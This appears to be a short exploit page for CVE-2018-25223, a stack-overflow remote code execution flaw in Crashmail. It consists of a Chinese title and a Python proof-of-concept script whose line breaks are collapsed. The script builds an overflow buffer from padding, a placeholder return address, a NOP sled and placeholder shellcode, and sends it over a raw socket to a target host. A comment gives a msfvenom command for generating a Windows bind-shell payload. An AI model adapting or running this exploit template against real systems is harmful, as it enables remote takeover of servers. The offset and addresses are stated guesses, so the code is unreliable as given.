CVE-2018-25223 Crashmail栈溢出远程代码执行漏洞

import socket import struct # Target settings TARGET_HOST = '192.168.1.100' TARGET_PORT = 25 # Default SMTP or Crashmail service port, adjust accordingly # Payload generation # 1. Offset to overwrite EIP (Hypothetical value, needs fuzzing) OFFSET = 260 # 2. Return Address (ROP gadget or JMP ESP) # Replace with a valid address from the Crashmail executable or a loaded DLL RET_ADDR = struct.pack('<I', 0xdeadbeef) # 3. NOP Sled NOP_SLED = b'\x90' * 32 # 4. Shellcode (Example: Calc.exe or Bind Shell) # msfvenom -p windows/shell_bind_tcp LPORT=4444 -b '\x00\x0a\x0d' -f python SHELLCODE = b'\xcc\xcc\xcc\xcc' buffer = b'A' * OFFSET + RET_ADDR + NOP_SLED + SHELLCODE try: print(f"[+] Connecting to {TARGET_HOST}:{TARGET_PORT}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_HOST, TARGET_PORT)) # Sending the malicious payload # Depending on the protocol, you may need to prepend specific headers print("[+] Sending malicious payload...") s.send(buffer) print("[+] Payload sent. Check for shell or crash.") s.close() except Exception as e: print(f"[-] An error occurred: {e}")